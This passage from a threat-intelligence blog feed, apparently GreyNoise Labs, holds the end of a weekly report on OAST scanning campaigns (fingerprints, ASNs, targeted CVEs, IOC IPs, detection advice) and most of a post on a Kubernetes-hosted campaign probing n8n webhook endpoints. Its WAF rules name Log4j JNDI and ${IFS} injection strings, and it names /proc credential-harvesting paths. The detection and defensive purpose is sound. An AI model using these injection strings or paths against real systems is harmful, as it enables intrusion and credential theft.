<li><strong>Pattern:</strong> Multiple IPs from same ASN suggest Cloudflare-hosted scanning infrastructure</li>
</ul>
</section>
<section id="campaign-7bm4o-ksort-d627ng-d61gfu-d62tr4" class="level3">
<h3 class="anchored" data-anchor-id="campaign-7bm4o-ksort-d627ng-d61gfu-d62tr4">Campaign: 7bm4o (ksort: d627ng, d61gfu, d62tr4)</h3>
<ul>
<li><strong>Sessions:</strong> 545 total (245 + 210 + 90 across three runs)</li>
<li><strong>Source IPs:</strong> 1 (152.53.55.52)</li>
<li><strong>ASN:</strong> AS214996 (netcup GmbH)</li>
<li><strong>Active Period:</strong> Feb 4-6 (repeated execution)</li>
<li><strong>Machine ID:</strong> eb:b1:31</li>
<li><strong>PIDs:</strong> 13592, 19613, 56288 (different process per run)</li>
<li><strong>Fingerprint:</strong> JA4T <code>65495_2-4-8-1-3_65495_7</code> (<strong>Nuclei scanner MSS signature</strong>)</li>
<li><strong>GreyNoise Profile:</strong> Malicious classification, 16.8K sensor hits across 194 sensors, first seen Feb 3, 2026. Focused targeting: Log4j, React Server Components deserialization (CVE-2025-55182).</li>
</ul>
</section>
<section id="campaign-j6o66-ksort-d61fft" class="level3">
<h3 class="anchored" data-anchor-id="campaign-j6o66-ksort-d61fft">Campaign: j6o66 (ksort: d61fft)</h3>
<ul>
<li><strong>Sessions:</strong> 231</li>
<li><strong>Source IPs:</strong> 1 (38.55.192.204)</li>
<li><strong>ASN:</strong> AS139659 (LUCIDACLOUD LIMITED)</li>
<li><strong>Active Period:</strong> Feb 4-5</li>
<li><strong>Fingerprint:</strong> JA4T <code>64240_2-4-8-1-3_1460_7</code> (standard MSS)</li>
<li><strong>GreyNoise Profile:</strong> NOT classified (no GreyNoise intelligence available)</li>
</ul>
</section>
<section id="campaign-01p6c-ksort-cspn4b---anomaly" class="level3">
<h3 class="anchored" data-anchor-id="campaign-01p6c-ksort-cspn4b---anomaly">Campaign: 01p6c (ksort: cspn4b) - Anomaly</h3>
<ul>
<li><strong>Sessions:</strong> 204</li>
<li><strong>Source IPs:</strong> <strong>204</strong> (one-to-one mapping)</li>
<li><strong>ASNs:</strong> 5 distinct (AS20473, AS207990, AS202412, AS215439, AS8075)</li>
<li><strong>Active Period:</strong> Feb 6 (single day)</li>
<li><strong>Machine ID:</strong> 01:c9:98</li>
<li><strong>PID:</strong> 50061</li>
<li><strong>Pattern:</strong> Single OAST domain triggered callbacks from 204 distinct IPs. Likely represents cached payloads from earlier scanning activity or mass exploitation with shared callback infrastructure.</li>
</ul>
</section>
</section>
<section id="infrastructure-fingerprinting" class="level2">
<h2 class="anchored" data-anchor-id="infrastructure-fingerprinting">Infrastructure Fingerprinting</h2>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-06-weekly-oast-report/media/ip-cocurrence.png" class="img-fluid"></p>
<section id="ja4-fingerprint-analysis" class="level3">
<h3 class="anchored" data-anchor-id="ja4-fingerprint-analysis">JA4 Fingerprint Analysis</h3>
<p>Three dominant MSS patterns emerged, revealing scanner tooling:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>MSS Category</th>
<th style="text-align: right;">Sessions</th>
<th style="text-align: right;">IPs</th>
<th>Interpretation</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td><strong>MSS 1460</strong></td>
<td style="text-align: right;">1,527 (38.4%)</td>
<td style="text-align: right;">18</td>
<td>Standard TCP MSS (Linux default)</td>
</tr>
<tr class="even">
<td><strong>MSS 65495</strong></td>
<td style="text-align: right;">1,341 (33.7%)</td>
<td style="text-align: right;">20</td>
<td><strong>Nuclei scanner signature</strong></td>
</tr>
<tr class="odd">
<td><strong>MSS 1380</strong></td>
<td style="text-align: right;">651 (16.4%)</td>
<td style="text-align: right;">9</td>
<td>Cloudflare WARP VPN characteristic</td>
</tr>
<tr class="even">
<td>Other</td>
<td style="text-align: right;">460 (11.6%)</td>
<td style="text-align: right;">209</td>
<td>Heterogeneous/unclassified</td>
</tr>
</tbody>
</table>
<p><strong>MSS 65495 Anomaly:</strong> The use of MSS 65495 is a well-documented fingerprint of the Nuclei vulnerability scanner. This non-standard value appears in JA4T fingerprints as <code>65495_2-4-8-1-3_65495_7</code>, indicating explicit configuration of TCP Maximum Segment Size to this unusual value. 20 distinct IPs exhibited this fingerprint, spanning ASNs including AS214996 (netcup), AS14956 (RouterHosting), AS210083 (Privex), and AS14061 (DigitalOcean).</p>
<p><strong>Cloudflare MSS 1380:</strong> All 651 sessions with MSS 1380 originated from AS13335 (Cloudflare), consistent with Cloudflare’s WARP VPN service TCP characteristics. GreyNoise confirms VPN classification for 104.28.193.87 (WARP_VPN service).</p>
</section>
<section id="asn-distribution" class="level3">
<h3 class="anchored" data-anchor-id="asn-distribution">ASN Distribution</h3>
<p>Top autonomous systems by session volume:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>ASN</th>
<th>Organization</th>
<th style="text-align: right;">Sessions</th>
<th style="text-align: right;">IPs</th>
<th style="text-align: right;">Campaigns</th>
<th>Category</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>AS14956</td>
<td>RouterHosting LLC</td>
<td style="text-align: right;">1,084</td>
<td style="text-align: right;">2</td>
<td style="text-align: right;">6</td>
<td>Hosting</td>
</tr>
<tr class="even">
<td>AS13335</td>
<td>Cloudflare, Inc.</td>
<td style="text-align: right;">651</td>
<td style="text-align: right;">9</td>
<td style="text-align: right;">2</td>
<td>CDN/Hosting</td>
</tr>
<tr class="odd">
<td>AS214996</td>
<td>netcup GmbH</td>
<td style="text-align: right;">545</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">2</td>
<td>Hosting</td>
</tr>
<tr class="even">
<td>AS14061</td>
<td>DigitalOcean, LLC</td>
<td style="text-align: right;">269</td>
<td style="text-align: right;">4</td>
<td style="text-align: right;">7</td>
<td>Cloud hosting</td>
</tr>
<tr class="odd">
<td>AS139659</td>
<td>LUCIDACLOUD LIMITED</td>
<td style="text-align: right;">256</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">2</td>
<td>Hosting</td>
</tr>
<tr class="even">
<td>AS51852</td>
<td>Private Layer INC</td>
<td style="text-align: right;">210</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">3</td>
<td>Privacy hosting</td>
</tr>
<tr class="odd">
<td>AS20473</td>
<td>The Constant Company</td>
<td style="text-align: right;">185</td>
<td style="text-align: right;">178</td>
<td style="text-align: right;">3</td>
<td>Hosting (Vultr)</td>
</tr>
<tr class="even">
<td>AS210083</td>
<td>Privex Inc.</td>
<td style="text-align: right;">158</td>
<td style="text-align: right;">1</td>
<td style="text-align: right;">9</td>
<td>Privacy hosting</td>
</tr>
</tbody>
</table>
<p>The dominance of hosting providers and cloud infrastructure reflects the typical scanning landscape with actors operating from rented VPS infrastructure.</p>
</section>
</section>
<section id="payload-analysis" class="level2">
<h2 class="anchored" data-anchor-id="payload-analysis">Payload Analysis</h2>
<p>GreyNoise tag analysis reveals broad-spectrum vulnerability reconnaissance targeting 196 distinct vulnerability classes:</p>
<section id="top-cve-targets" class="level3">
<h3 class="anchored" data-anchor-id="top-cve-targets">Top CVE Targets</h3>
<table class="caption-top table">
<colgroup>
<col style="width: 36%">
<col style="width: 18%">
<col style="width: 21%">
<col style="width: 23%">
</colgroup>
<thead>
<tr class="header">
<th>CVE / Payload Type</th>
<th style="text-align: right;">Sessions</th>
<th style="text-align: right;">Unique IPs</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td><strong>Apache Log4j RCE</strong> (CVE-2021-44228)</td>
<td style="text-align: right;">1,090</td>
<td style="text-align: right;">94</td>
<td>Log4Shell JNDI injection</td>
</tr>
<tr class="even">
<td><strong>Fastjson RCE</strong></td>
<td style="text-align: right;">319</td>
<td style="text-align: right;">12</td>
<td>Java deserialization</td>
</tr>
<tr class="odd">
<td><strong>Generic XSS</strong></td>
<td style="text-align: right;">186</td>
<td style="text-align: right;">19</td>
<td>Cross-site scripting probes</td>
</tr>
<tr class="even">
<td><strong>CGI Script Scanner</strong></td>
<td style="text-align: right;">184</td>
<td style="text-align: right;">16</td>
<td>Legacy CGI vulnerabilities</td>
</tr>
<tr class="odd">
<td><strong>Generic ${IFS} RCE</strong></td>
<td style="text-align: right;">142</td>
<td style="text-align: right;">9</td>
<td>Bash command injection</td>
</tr>
<tr class="even">
<td><strong>pfSense pfBlockerNG</strong> (CVE-2023-47246)</td>
<td style="text-align: right;">136</td>
<td style="text-align: right;">7</td>
<td>Command injection</td>
</tr>
<tr class="odd">
<td><strong>Draytek Vigor</strong> (CVE-2024-12987)</td>
<td style="text-align: right;">126</td>
<td style="text-align: right;">4</td>
<td>Router command injection</td>
</tr>
<tr class="even">
<td><strong>GPON Router</strong> (CVE-2018-10561)</td>
<td style="text-align: right;">112</td>
<td style="text-align: right;">15</td>
<td>Router worm attempts</td>
</tr>
<tr class="odd">
<td><strong>Path Traversal</strong></td>
<td style="text-align: right;">92</td>
<td style="text-align: right;">15</td>
<td>Directory traversal</td>
</tr>
<tr class="even">
<td><strong>Seagate BlackArmor</strong></td>
<td style="text-align: right;">62</td>
<td style="text-align: right;">14</td>
<td>NAS RCE attempts</td>
</tr>
</tbody>
</table>
</section>
<section id="payload-characteristics" class="level3">
<h3 class="anchored" data-anchor-id="payload-characteristics">Payload Characteristics</h3>
<ul>
<li><strong>Deserialization Targets:</strong> Fastjson, XStream, Apache OFBiz, Oracle WebLogic - focus on Java deserialization chains</li>
<li><strong>IoT/Edge Devices:</strong> GPON routers, Draytek, pfSense, Zyxel, Totolink - embedded device targeting</li>
<li><strong>Enterprise Software:</strong> Atlassian Confluence (CVE-2022-26134), VMware vCenter, FortiOS, Citrix</li>
<li><strong>CMS/Web Apps:</strong> WordPress plugins (multiple SQLi/RCE vulnerabilities), Joomla, Drupal</li>
</ul>
<p>No evidence of active exploitation or malware delivery infrastructure. Activity patterns consistent with vulnerability research, CVE validation, and attack surface mapping.</p>
</section>
</section>
<section id="greynoise-enrichment-analysis" class="level2">
<h2 class="anchored" data-anchor-id="greynoise-enrichment-analysis">GreyNoise Enrichment Analysis</h2>
<p>GreyNoise multi-IP check on top 20 source IPs revealed:</p>
<ul>
<li><strong>19/20 classified as “noise”</strong> (active Internet scanners)</li>
<li><strong>0/20 identified as common business services</strong> (not CDN/legitimate traffic)</li>
<li><strong>1/20 no classification</strong> (38.55.192.204 - potentially new infrastructure)</li>
</ul>
<section id="notable-greynoise-profiles" class="level3">
<h3 class="anchored" data-anchor-id="notable-greynoise-profiles">Notable GreyNoise Profiles</h3>
<p><strong>172.86.66.237 (RouterHosting LLC)</strong></p>
<ul>
<li>Classification: MALICIOUS</li>
<li>First Seen: Jan 19, 2026 (pre-dates analysis window)</li>
<li>Sensor Hits: 7,418,938 across 4 sensors</li>
<li>Tags: 300+ vulnerability-specific tags (full-spectrum scanner)</li>
<li>Scanned Ports: 169 ports (comprehensive port scanning)</li>
<li>Bot: No | Tor: No | VPN: No</li>
<li><strong>Assessment:</strong> Established reconnaissance infrastructure, long-term persistent scanning</li>
</ul>
<p><strong>152.53.55.52 (netcup GmbH)</strong></p>
<ul>
<li>Classification: MALICIOUS</li>
<li>First Seen: Feb 3, 2026 (recent activation)</li>
<li>Sensor Hits: 16,848 across 194 sensors (broad targeting)</li>
<li>Tags: Log4j, React Server Components CVE-2025-55182, OAST domains</li>
<li>Scanned Ports: 10 (web-focused: 80, 443, 3000, 8080, 9000, etc.)</li>
<li>Bot: No | Tor: No | VPN: No</li>
<li><strong>Assessment:</strong> Focused web vulnerability scanner, recent deployment</li>
</ul>
<p><strong>104.28.193.87 (Cloudflare)</strong></p>
<ul>
<li>Classification: MALICIOUS</li>
<li>First Seen: Nov 9, 2025 (long-term infrastructure)</li>
<li>Sensor Hits: 81,099 across 17 sensors</li>
<li>Tags: 400+ tags (full-spectrum scanner)</li>
<li>Scanned Ports: 5 (web-only: 80, 443, 7001, 8080, 8443)</li>
<li>Bot: No | Tor: No | <strong>VPN: Yes (WARP_VPN)</strong></li>
<li><strong>Assessment:</strong> Cloudflare-hosted scanning via WARP VPN, established infrastructure</li>
</ul>
</section>
</section>
<section id="attribution-assessment" class="level2">
<h2 class="anchored" data-anchor-id="attribution-assessment">Attribution Assessment</h2>
<p><strong>Confidence: Low</strong></p>
<p>The distributed, heterogeneous nature of observed activity precludes meaningful threat actor attribution. Evidence suggests:</p>
<section id="evidence-supporting-independent-operations" class="level3">
<h3 class="anchored" data-anchor-id="evidence-supporting-independent-operations">Evidence Supporting Independent Operations:</h3>
<ol type="1">
<li><strong>Campaign Isolation:</strong> 82 distinct campaigns with minimal IP overlap (exception: Feb 6 anomaly)</li>
<li><strong>Diverse Infrastructure:</strong> 245 IPs across 45+ ASNs spanning 30+ countries</li>
<li><strong>Heterogeneous Tooling:</strong> Mix of Nuclei (MSS 65495), custom tooling (standard MSS), Cloudflare-hosted infrastructure</li>
<li><strong>Varied Targeting:</strong> While Log4j dominates, 196 distinct vulnerability classes indicate non-coordinated reconnaissance priorities</li>
<li><strong>Temporal Distribution:</strong> No coordinated timing patterns; activity distributed across timezones</li>
</ol>
</section>
<section id="infrastructure-categories" class="level3">
<h3 class="anchored" data-anchor-id="infrastructure-categories">Infrastructure Categories:</h3>
<ul>
<li><strong>Bug Bounty Hunters:</strong> Single-IP campaigns with focused targeting patterns</li>
<li><strong>Penetration Testing Tools:</strong> Nuclei scanner deployment (20 IPs)</li>
</ul>
<p><strong>No indicators of coordinated threat actor activity, nation-state operations, or organized criminal infrastructure.</strong></p>
</section>
</section>
<section id="network-iocs" class="level2">
<h2 class="anchored" data-anchor-id="network-iocs">Network IOCs</h2>
<section id="primary-source-ips" class="level3">
<h3 class="anchored" data-anchor-id="primary-source-ips">Primary Source IPs</h3>
<table class="caption-top table">
<thead>
<tr class="header">
<th>IP Address</th>
<th>ASN</th>
<th>Organization</th>
<th style="text-align: right;">Sessions</th>
<th style="text-align: right;">Campaigns</th>
<th>GreyNoise</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>172.86.66.237</td>
<td>AS14956</td>
<td>RouterHosting LLC</td>
<td style="text-align: right;">867</td>
<td style="text-align: right;">4</td>
<td>MALICIOUS</td>
</tr>
<tr class="even">
<td>152.53.55.52</td>
<td>AS214996</td>
<td>netcup GmbH</td>
<td style="text-align: right;">545</td>
<td style="text-align: right;">2</td>
<td>MALICIOUS</td>
</tr>
<tr class="odd">
<td>104.28.193.87</td>
<td>AS13335</td>
<td>Cloudflare</td>
<td style="text-align: right;">389</td>
<td style="text-align: right;">2</td>
<td>MALICIOUS (VPN)</td>
</tr>
<tr class="even">
<td>38.55.192.204</td>
<td>AS139659</td>
<td>LUCIDACLOUD</td>
<td style="text-align: right;">256</td>
<td style="text-align: right;">2</td>
<td>None</td>
</tr>
<tr class="odd">
<td>107.189.16.186</td>
<td>AS14956</td>
<td>RouterHosting LLC</td>
<td style="text-align: right;">217</td>
<td style="text-align: right;">2</td>
<td>MALICIOUS</td>
</tr>
<tr class="even">
<td>179.43.146.42</td>
<td>AS51852</td>
<td>Private Layer INC</td>
<td style="text-align: right;">210</td>
<td style="text-align: right;">3</td>
<td>MALICIOUS</td>
</tr>
<tr class="odd">
<td>185.130.47.197</td>
<td>AS210083</td>
<td>Privex Inc.</td>
<td style="text-align: right;">158</td>
<td style="text-align: right;">9</td>
<td>MALICIOUS</td>
</tr>
<tr class="even">
<td>209.38.59.247</td>
<td>AS14061</td>
<td>DigitalOcean</td>
<td style="text-align: right;">126</td>
<td style="text-align: right;">2</td>
<td>MALICIOUS</td>
</tr>
<tr class="odd">
<td>94.156.102.143</td>
<td>AS215439</td>
<td>PLAY2GO INTL</td>
<td style="text-align: right;">104</td>
<td style="text-align: right;">2</td>
<td>MALICIOUS</td>
</tr>
<tr class="even">
<td>20.64.169.232</td>
<td>AS8075</td>
<td>Microsoft Corp</td>
<td style="text-align: right;">94</td>
<td style="text-align: right;">5</td>
<td>MALICIOUS</td>
</tr>
</tbody>
</table>
</section>
<section id="oast-domain-pattern" class="level3">
<h3 class="anchored" data-anchor-id="oast-domain-pattern">OAST Domain Pattern</h3>
<p>All observed domains follow Interactsh format:</p>
<pre><code>[subdomain].oast.pro</code></pre>
<p>Example campaign domains:</p>
<ul>
<li>Campaign <code>lftn9</code>: <code>d5v0a0lftn9*.oast.pro</code> (652 unique domains)</li>
<li>Campaign <code>ibe4q</code>: <code>d638bjibe4q*.oast.pro</code> (603 unique domains)</li>
<li>Campaign <code>7bm4o</code>: <code>d627ng7bm4o*.oast.pro</code>, <code>d61gfu7bm4o*.oast.pro</code>, <code>d62tr4fbm4o*.oast.pro</code> (545 total)</li>
</ul>
<p><strong>Decoding Pattern:</strong></p>
<ul>
<li><code>ksort</code> value (e.g., <code>d5v0a0</code>) represents timestamp + sequential identifier</li>
<li><code>campaign</code> value (e.g., <code>lftn9</code>) derived from machine ID, PID, and counter</li>
<li>Each session generates unique subdomain for callback correlation</li>
</ul>
</section>
<section id="ja4-fingerprints-for-detection" class="level3">
<h3 class="anchored" data-anchor-id="ja4-fingerprints-for-detection">JA4 Fingerprints for Detection</h3>
<p><strong>Nuclei Scanner (MSS 65495):</strong></p>
<pre><code>JA4T: 65495_2-4-8-1-3_65495_7
JA4H: ge11nr17${jn_8062e975b6e7_*</code></pre>
<p><strong>Standard MSS (RouterHosting infrastructure):</strong></p>
<pre><code>JA4T: 64240_2-4-8-1-3_1460_7
JA4H: ge11nn020000_1af9d02f0bf7_*
JA4H: po11nn060000_4ea4093e6290_*
JA4H: ge10nn010000_4a823118b9ba_*</code></pre>
<p><strong>Cloudflare WARP VPN:</strong></p>
<pre><code>JA4T: 65535_2-4-8-1-3_1380_13
JA4H: po11nn08en00_9cf61e78b7a7_*</code></pre>
</section>
</section>
<section id="detection-recommendations" class="level2">
<h2 class="anchored" data-anchor-id="detection-recommendations">Detection Recommendations</h2>
<ol type="1">
<li><p><strong>Monitor for Interactsh OAST callbacks</strong> in outbound DNS and HTTP traffic. Alert on requests to <code>*.oast.pro</code>, <code>*.interact.sh</code>, and <code>*.burpcollaborator.net</code> domains originating from internal production systems (exception: authorized security testing).</p></li>
<li><p><strong>JA4 fingerprint detection</strong> for Nuclei scanner identification:</p>
<ul>
<li>Alert on JA4T fingerprint <code>65495_2-4-8-1-3_65495_7</code></li>
<li>Correlate with OAST callbacks for high-confidence reconnaissance detection</li>
</ul></li>
<li><p><strong>Prioritize patching for top targeted CVEs:</strong></p>
<ul>
<li>CVE-2021-44228 (Log4Shell) - 1,090 attempts observed</li>
<li>CVE-2023-47246 (pfSense pfBlockerNG) - 136 attempts</li>
<li>CVE-2024-12987 (Draytek Vigor) - 126 attempts</li>
<li>CVE-2022-26134 (Atlassian Confluence) - 57 attempts</li>
</ul></li>
<li><p><strong>ASN-based rate limiting</strong> for hosting providers exhibiting malicious classification:</p>
<ul>
<li>AS14956 (RouterHosting LLC)</li>
<li>AS214996 (netcup GmbH)</li>
<li>AS210083 (Privex Inc.)</li>
<li>Consider geo-blocking or aggressive rate limiting for non-business-critical origins</li>
</ul></li>
<li><p><strong>WAF rules for OAST injection patterns:</strong></p>
<ul>
<li>Block requests containing <code>${jndi:ldap://</code> (Log4j)</li>
<li>Block requests with <code>.oast.pro</code>, <code>.interact.sh</code> in headers, body, or query parameters</li>
<li>Alert on <code>${IFS}</code> command injection attempts</li>
</ul></li>
<li><p><strong>February 6 anomaly investigation:</strong> Organizations with traffic to/from the 204 IPs in campaign <code>01p6c</code> should investigate for cached exploitation attempts. The spike suggests prior vulnerability with delayed OAST callbacks.</p></li>
</ol>
</section>
<section id="gnql-queries" class="level2">
<h2 class="anchored" data-anchor-id="gnql-queries">GNQL Queries</h2>
<p><strong>Monitor recent OAST callback activity:</strong></p>
<pre><code>tags:"Generic Contains Well-known Out-of-band Interaction Domain" last_seen:7d</code></pre>
<p><strong>Track Nuclei scanner deployment (MSS 65495):</strong></p>
<pre><code>metadata.ja4.tcp:"65495_2-4-8-1-3_65495_7" last_seen:7d</code></pre>
<p><strong>Investigate top malicious ASNs:</strong></p>
<pre><code>metadata.asn:AS14956 last_seen:7d</code></pre>
<pre><code>metadata.asn:AS214996 last_seen:7d</code></pre>
<pre><code>metadata.asn:AS13335 tags:"Generic Contains Well-known Out-of-band Interaction Domain" last_seen:7d</code></pre>
<p><strong>Log4j targeting IPs:</strong></p>
<pre><code>tags:"Apache Log4j RCE Attempt" tags:"Generic Contains Well-known Out-of-band Interaction Domain" last_seen:7d</code></pre>
<p><strong>Cloudflare-hosted scanners:</strong></p>
<pre><code>metadata.asn:AS13335 classification:malicious last_seen:7d</code></pre>
<p><strong>New/emerging scanning infrastructure (Feb 3+ first seen):</strong></p>
<pre><code>tags:"Generic Contains Well-known Out-of-band Interaction Domain" first_seen:&gt;2026-02-03</code></pre>


</section>

 ]]></description>
  <category>OAST</category>
  <category>MCP</category>
  <category>projectdiscovery</category>
  <category>interactsh</category>
  <category>rce</category>
  <category>iocs</category>
  <category>detection engineering</category>
  <category>cybersecurity</category>
  <category>AI-Generated</category>
  <guid>https://www.labs.greynoise.io/grimoire/2026-02-06-weekly-oast-report/</guid>
  <pubDate>Sat, 07 Feb 2026 00:00:00 GMT</pubDate>
  <media:content url="https://www.labs.greynoise.io/grimoire/2026-02-06-weekly-oast-report/media/cover.png" medium="image" type="image/png" height="116" width="144"/>
</item>
<item>
  <title>Vive La Vulnérabilité: French Kubernetes Cluster Hunts Your Webhook Endpoints</title>
  <dc:creator>hrbrmstr &amp; 🔮Orbie✨</dc:creator>
  <link>https://www.labs.greynoise.io/grimoire/2026-02-03-vive-la-vulnerabilite-french-kubernetes-cluster-hunts-your-webhook-endpoints/</link>
  <description><![CDATA[ 

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-56PTMZZ" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->





<p>Most webhook scanning campaigns run from throwaway VPS instances. This one came from a full Kubernetes cluster with Envoy service mesh. Censys data showed consistent infrastructure across all source IPs—container orchestration, not opportunistic scanning.</p>
<p>Between January 27 and February 3, 2026, the GreyNoise Global Observation Grid tracked 33,270 HTTP requests targeting webhook endpoints. The traffic originated almost entirely from AS211590 (Bucklog SARL), a French hosting provider, concentrated in the 185.177.72.0/24 subnet. The campaign probed for vulnerable webhook implementations with a particular interest in file upload paths, document processing endpoints, and—notably—n8n workflow automation platforms via CVE-2026-21858.</p>
<section id="campaign-snapshot" class="level2">
<h2 class="anchored" data-anchor-id="campaign-snapshot">Campaign snapshot</h2>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Total sessions</td>
<td>33,270</td>
</tr>
<tr class="even">
<td>Time range</td>
<td>Jan 27 – Feb 3, 2026</td>
</tr>
<tr class="odd">
<td>Primary ASN</td>
<td>AS211590 (Bucklog SARL)</td>
</tr>
<tr class="even">
<td>Traffic share</td>
<td>97.4% from single /24 subnet</td>
</tr>
<tr class="odd">
<td>Dominant user agent</td>
<td>curl/8.7.1 (97.4%)</td>
</tr>
<tr class="even">
<td>HTTP method split</td>
<td>POST 95.9%, GET 4.1%</td>
</tr>
<tr class="odd">
<td>Peak activity</td>
<td>70% within 2-hour window</td>
</tr>
</tbody>
</table>
<p><img src="https://www.labs.greynoise.io/grimoire/2026-02-03-vive-la-vulnerabilite-french-kubernetes-cluster-hunts-your-webhook-endpoints/media/sessions.png" class="img-fluid"></p>
</section>
<section id="the-kubernetes-twist" class="level2">
<h2 class="anchored" data-anchor-id="the-kubernetes-twist">The Kubernetes twist</h2>
<p>Censys lookups on the top 10 source IPs returned consistent Kubernetes infrastructure across all nodes:</p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Port</th>
<th>Service</th>
<th>Present on</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>10250</td>
<td>Kubelet API</td>
<td>10/10 IPs</td>
</tr>
<tr class="even">
<td>10256</td>
<td>kube-proxy health</td>
<td>10/10 IPs</td>
</tr>
<tr class="odd">
<td>9964</td>
<td>Envoy proxy</td>
<td>10/10 IPs</td>
</tr>
<tr class="even">
<td>32362</td>
<td>NodePort</td>
<td>5/10 IPs</td>
</tr>
</tbody>
</table>
<p>All nodes run Debian 12 “Bookworm” with OpenSSH 9.2p1. The Envoy proxy presence indicates a service mesh deployment—likely Istio, Linkerd, or Consul Connect.</p>
<p>Operational implications:</p>
<ol type="1">
<li><strong>Rapid scalability.</strong> Containerized scanning tools deploy and destroy in seconds across 375+ IPs.</li>
<li><strong>Cost efficiency.</strong> Short-lived containers minimize infrastructure costs.</li>
<li><strong>Operational security.</strong> Container isolation complicates attribution and forensics.</li>
<li><strong>Multi-campaign support.</strong> A single cluster can run multiple concurrent scanning operations.</li>
</ol>
<p>The exposed kubelet API on port 10250 is worth noting—if unauthenticated, it enables full node compromise. Whether Bucklog SARL is aware their infrastructure is being used this way remains an open question.</p>
</section>
<section id="attack-methodology" class="level2">
<h2 class="anchored" data-anchor-id="attack-methodology">Attack methodology</h2>
<p>Dictionary-based path enumeration with uniform request distribution: 67-69 requests per path across the target set. Automated tooling cycling through a predefined wordlist.</p>
<p><strong>Top probed paths:</strong></p>
<ul>
<li><code>/webhook/upload</code></li>
<li><code>/webhook/api/file</code></li>
<li><code>/webhook/backup</code></li>
<li><code>/webhook/import</code></li>
<li><code>/webhook/internal/import</code></li>
<li><code>/webhook/admin/upload</code></li>
<li><code>/webhook/documents</code></li>
<li><code>/webhook/blob</code></li>
<li><code>/webhook/storage</code></li>
</ul>
<p>Pattern: file upload, document processing, and administrative import functions—paths most likely to accept arbitrary file uploads or expose path traversal vulnerabilities.</p>
</section>
<section id="n8n-cve-2026-21858-targeting" class="level2">
<h2 class="anchored" data-anchor-id="n8n-cve-2026-21858-targeting">n8n CVE-2026-21858 targeting</h2>
<p>Forty sessions used a <code>n8n-scanner/1.0</code> user agent—a specialized tool for probing n8n workflow automation platforms. The campaign targeted CVE-2026-21858, an arbitrary file access vulnerability in n8n webhook handlers that allows path traversal via malformed multipart/form-data requests.</p>
<p>Attack samples showed rapid-fire sequencing (one request per second) against n8n-specific endpoints:</p>
<ul>
<li><code>/webhook/internal/import</code></li>
<li><code>/webhook/user/upload</code></li>
<li><code>/webhook/admin/upload</code></li>
<li><code>/webhook/admin/import</code></li>
<li><code>/webhook/bulk</code></li>
<li><code>/webhook/v1/files</code></li>
</ul>
<p>The <code>/proc</code> filesystem probing (28,756 tag hits for “Generic /proc Enumeration Attempt”) suggests post-exploitation planning. Successful path traversal would enable access to <code>/proc/self/environ</code> (environment variables), <code>/proc/self/cmdline</code> (command-line arguments), and <code>/proc/net/tcp</code> (network connections)—all useful for credential harvesting and lateral movement.</p>
</section>
<section id="tooling-signatures" class="level2">
<h2 class="anchored" data-anchor-id="tooling-signatures">Tooling signatures</h2>
<p>Consistent tooling fingerprints across 95%+ of traffic:</p>
<p><strong>JA4H HTTP fingerprints:</strong></p>
<table class="caption-top table">
<thead>
<tr class="header">
<th>Fingerprint</th>
<th>Sessions</th>
<th>Share</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td><code>po11nn16enus_6291b5733205_...</code></td>
<td>15,135</td>
<td>45.5%</td>
</tr>
<tr class="even">
<td><code>po11nn17enus_4eb89d0aaebb_...</code></td>
<td>13,631</td>
<td>41.0%</td>
</tr>
</tbody>
</table>
<p>Two curl variants account for 86.5% of traffic. The <code>po11</code> prefix indicates POST requests with 11 header fields—consistent with curl defaults.</p>
<p><strong>JA4T TCP fingerprint:</strong></p>
<p>The dominant fingerprint appeared in 95.9% of sessions and maps to Linux kernel 4.x+ with default curl TCP stack behavior and standard Ethernet MTU.</p>
<p>JA4T 95.9% consistency + curl 97.4% coverage = minimal tooling diversity across the IP range. It’s almost certainly the same actor, using the same infrastructure and same exact tooling.</p>
</section>
<section id="temporal-pattern" class="level2">
<h2 class="anchored" data-anchor-id="temporal-pattern">Temporal pattern</h2>
<p>Activity concentrated in a narrow window on February 3:</p>
<ul>
<li><strong>13:00–14:00 UTC:</strong> 3,496 sessions (70%)</li>
<li><strong>14:00–15:00 UTC:</strong> 1,504 sessions (30%)</li>
</ul>
<p>Coordinated infrastructure spinup at 13:00 UTC, peak operations in the first hour, controlled teardown. Ephemeral container deployments minimize operational footprint and cost.</p>
</section>
<section id="attribution-assessment" class="level2">
<h2 class="anchored" data-anchor-id="attribution-assessment">Attribution assessment</h2>
<p><strong>Confidence:</strong> Medium</p>
<table class="caption-top table">
<colgroup>
<col style="width: 40%">
<col style="width: 60%">
</colgroup>
<thead>
<tr class="header">
<th>Signal</th>
<th>Assessment</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>Infrastructure</td>
<td>Kubernetes cluster with service mesh (not opportunistic VPS)</td>
</tr>
<tr class="even">
<td>Tooling</td>
<td>Consistent curl + specialized n8n scanner</td>
</tr>
<tr class="odd">
<td>Geographic concentration</td>
<td>100% France, single ASN</td>
</tr>
<tr class="even">
<td>Temporal coordination</td>
<td>2-hour burst indicates orchestration</td>
</tr>
</tbody>
</table>
<p>Three scenarios:</p>
<ol type="1">
<li><p><strong>Adversary-rented Kubernetes infrastructure</strong> (most likely). Threat actor renting Bucklog’s Kubernetes-as-a-Service for scanning operations. The service mesh deployment indicates sophisticated container orchestration.</p></li>
<li><p><strong>Compromised customer cluster</strong> (less likely). A Bucklog customer’s Kubernetes deployment weaponized by attackers. The exposed kubelet API makes this possible, but the professional deployment suggests intentional setup.</p></li>
<li><p><strong>Bucklog internal operations</strong> (highly unlikely). Contradicted by malicious tag classifications and unlikely operational practices.</p></li>
</ol>
